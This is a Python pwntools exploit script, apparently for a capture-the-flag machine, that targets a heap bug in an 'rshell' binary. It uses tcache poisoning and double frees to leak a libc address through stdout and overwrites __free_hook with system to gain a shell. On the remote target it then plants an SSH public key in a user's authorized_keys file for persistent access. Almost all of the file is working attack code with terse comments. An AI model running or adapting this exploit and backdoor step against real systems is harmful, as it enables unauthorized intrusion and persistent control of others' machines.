#!/usr/bin/env python3

import pdb
from pwn import *


prompt = '$ '

def ls():
    p.sendline('ls')
    res = p.recvuntil(prompt)
    for line in res.split(b'\n')[:-1]:
        print(line.decode())

def add(name, size, content='x'):
    p.sendline(f'add {name}')
    res = p.recvuntil(('size: ', prompt))
    if res.endswith(prompt.encode()): 
        pdb.set_trace()
        return
    p.sendline(f'{size}')
    if size > 0:
        p.recvuntil('content: ')
        p.sendline(content)
    res = p.recvuntil(prompt)
    return res
    
def rm(name, wait=True):
    p.sendline(f'rm {name}')
    if wait:
        p.recvuntil(prompt)

def edit(name, size, content='x'):
    p.sendline(f'edit {name}')
    res = p.recvuntil(('size: ', prompt))
    if res == prompt: 
        pdb.set_trace()
        return
    p.sendline(f'{size}')
    if size > 0:
        p.recvuntil('content: ')
        p.send(content)
    p.recvuntil(prompt)


rshell = ELF('./rshell')
libc = ELF('./libc.so.6-ropetwo')

if args.REMOTE:
    remote = ssh(host='10.10.10.196', user='chromeuser', keyfile='/root/keys/ed25519_gen')
    

while True:
    if args.REMOTE:
        p = remote.run('rshell')
    else:
        p = process('./rshell')
    p.recvuntil('$ ')

    # Create overlaps for end
    add('A', 0x40, p64(0)*5 + p64(0x61) + p64(0))   # A at 260 in f1
    add('B', 0x40)                                  # B at 2b0 in f2
    rm('A')                                         # A in 0x50 tcache, f1 empty
    edit('B', 0)                                    # B -> A in 0x50 tcache, f2 still B
    add('B2', 0x40)                                 # A in 0x50 tcache, f1 & f2 -> B
    rm('B')                                         # B -> A in 0x50 tcache, f1 -> B
    edit('B2', 0x40, '\x90')                        # B -> fake1 in 0x50 tcache, f1 -> B
    add('B3', 0x40)                                 # fake in 0x50 tcache, f2 -> B
    edit('B3', 0x20)                                # B-end in 0x20 tcache
    rm('B3')                                        # B in 0x30 tcache
    add('fake1', 0x40, p64(0)*3 + p64(0x51) + p64(0))
    rm('fake1')
    rm('B2')

    add('x', 0x30)                                  # add for spacing
    rm('x')

    add('C', 0x60)   # create block to be freed and steal pointer in tcache - C = 340
    add('D', 0x70, p64(0)*5 + p64(0xa1) + p64(0)) # create block and fake block to put fake block meta in place - D = 3b0
    rm('D') # D in tcache 0x80
    add('E', 0x60, p64(0x21)*11)   # create second 0x60, E, and spray with 0x21 for next block meta fake later, E = 430
    rm('C')               # f1 empty, C in 0x70 tcache
    edit('E', 0)      # slot 2 -> E, E->C in 0x70 tcache
    add('E2', 0x60)  # slots 1 and 2 -> E, C in 0x70 tcache
    rm('E')               # slot 1 -> E, E -> C in 0x70 tache
    edit('E2', 0x60, b'\xe0') # edit tcache pointer, C -> fake2 in 0x70 tcache

    # next three fetch C from tcache, and get rid of it without putting it back in 0x70 tcache
    add('E3', 0x60)   # fetch E, fake in 0x70 tcache
    edit('E3', 0x20)  # E-end in 0x30 tcache
    rm('E3')          # E in 0x50 tcache

    add('fake2', 0x60, p64(0)*9 + p64(0x31) + p64(0))   # get fake block, change key for E
    rm('E2') # C
    add('B', 0x70) # B

    # free fake to fill tcache, then overwrite key protecting from double free
    for i in range(7):
        edit('fake2', 0x0)    # free fake block, put 2f0 in 0x90 tcache
        edit('B', 0x70, p64(0)*5 + p64(0xa1) + p64(0) + chr(i).encode()) # B

    rm('B') # B
    rm('fake2')

    # modify libc address
    add('B', 0x70)
    edit('B', 0x70, p64(0)*5 + p64(0xa1) + b"\x60\x47")
    rm('B')

    add('F', 0x30)           # fetch 460 chunk from tcache, 300 still in 0x40 tcache
    edit('F', 0)             # 460 -> 300 in 0x40 tcache, f1 -> 460
    add('F2', 0x30)          # f1 and f2 -> 460, 300 in 0x40 tcache
    rm('F')                  # f2 -> 460, 460 -> 300 in 0x40 tcache
    edit('F2', 0x30, '\xe0') # 460 -> 3e0 -> stdout in 0x40 tcache

    # get 460 from tcahce, shrink it, and release it
    add('F3', 0x30)
    edit('F3', 0x10)
    rm('F3')

    # get 3e0 from tcache, shrink it, and release it
    add('fake3', 0x30)       
    edit('fake3', 0x10)
    rm('fake3')

    # clean up F2
    edit('F2', 0x10, p64(0)*2) # overwrtie pointer and key to allow double free
    rm('F2')

    try:
        leak = add('stdout', 0x30, p64(0xfbad1800) + p64(0)*2 + b"\x00"*7)
        if b'\x7f' not in leak:
            log.failure("Failed")
        else:
            break
    except EOFError:
        log.failure("Failed")

leaked_addr = u64(leak[8:16])
log.success(f'Leaked address: 0x{leaked_addr:x}')
libc.address = leaked_addr - 0x1e7570
log.success(f'Libc base: 0x{libc.address:x}')

log.info("Overwriting __free_hook")
add('K', 0x50, p64(0)*3 + p64(0x51) + p64(libc.symbols['__free_hook']-8)) # add free hook to tcache 0x50
rm('K')               # free file

# clear from tcache with add, shrink, rm
add('J', 0x40)
edit('J', 0x10)
rm('J')
add('hook', 0x40, b"/bin/sh\x00" + p64(libc.symbols['system']))
log.info("Triggering shell")
rm('hook', wait=False)
if args.REMOTE:
    p.sendline('echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing" > /home/r4j/.ssh/authorized_keys')
    p.sendline("chmod 600 /home/r4j/.ssh/authorized_keys")
    log.success("Wrote SSH key to /home/r4j/.ssh/authorized_keys")
p.interactive()